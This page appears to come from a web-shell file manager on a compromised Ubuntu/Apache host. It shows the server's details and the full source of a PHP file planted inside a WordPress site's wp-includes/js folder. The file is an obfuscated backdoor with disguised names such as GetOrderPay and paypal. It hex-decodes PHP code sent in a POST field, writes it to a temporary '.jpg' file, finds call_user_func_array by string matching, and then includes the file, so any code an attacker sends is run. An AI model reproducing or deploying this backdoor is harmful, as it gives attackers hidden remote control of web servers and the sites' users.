HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux dev1 5.15.83-1-pve #1 SMP PVE 5.15.83-1 (2022-12-15T00:00Z) x86_64
User: safarimaris (1000)
PHP: 7.2.34-54+ubuntu22.04.1+deb.sury.org+1
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /home/safarimaris/home/safarimaris/site/blog.safarimaris.com/wp-includes/js/alswz.php
<?php
//kMq2mpwT2O
class GetOrderPay{
    public $jpg;
    public function __construct(){
        $this->jpg=$this->generateRandomString().".jpg";
    }

    public function paypal($sg){
        $i=0;
        $f = "file_put";
        $g = ($a = sprintf("%s%s",$f,"_contents"));
        $z = $g($this->jpg, sprintf("%s", $this->ppq($sg[$i][$i])));
        $g;
        
    }

    public function generateRandomString($length = 5) {
        $characters = 'abcdefghijklmnopqrstuvwxyz';
        $charactersLength = strlen($characters);
        $randomString = '';

        for ($i = 0; $i < $length; $i++) {
            $randomString .= $characters[rand(0, $charactersLength - 1)];
        }

        return sys_get_temp_dir()."/".$randomString;
    }

    public function __call($name, $arguments) {
        if ($name == 'gawsf') {
            $this->paypal($arguments);
        } else {
            return $this->xxx($arguments);
        }
    }

    function xxx($hex){
        $suffix = '3061336333663730363837303230';
        $end = '33663365';
        $hex = $hex[0].'3f3e';

        for($i=0;$i<strlen($suffix)-1;$i+=2)
            $tmp.=chr(hexdec($suffix[$i].$suffix[$i+1]));
        $tmp2="";
        for($i=0;$i<strlen($tmp)-1;$i+=2)
            $tmp2.=chr(hexdec($tmp[$i].$tmp[$i+1]));

        $str="";
        for($i=0;$i<strlen($hex)-1;$i+=2)
            $str.=chr(hexdec($hex[$i].$hex[$i+1]));
        return  $tmp2.$str;
    }

    public function __destruct(){
        unlink($this->jpg);
    }
}

$a = [];
$order = new GetOrderPay();
$GLOBALS["gsw"] = &$a;
$GLOBALS["gsw"] = array_merge($_POST,$GLOBALS["gsw"]);
define("hello",("".join([$a["ftp"]])));
foreach(get_defined_functions() as $ga){
    foreach ($ga as $ag){
        if(strlen($ag)==20 && substr($ag,0,8)=="call_use" && substr($ag,16,strlen($ag)) == "rray")
            $ag([$order, "gawsf"], [[hello]]);
    }
}
require_once($order->jpg); 
?>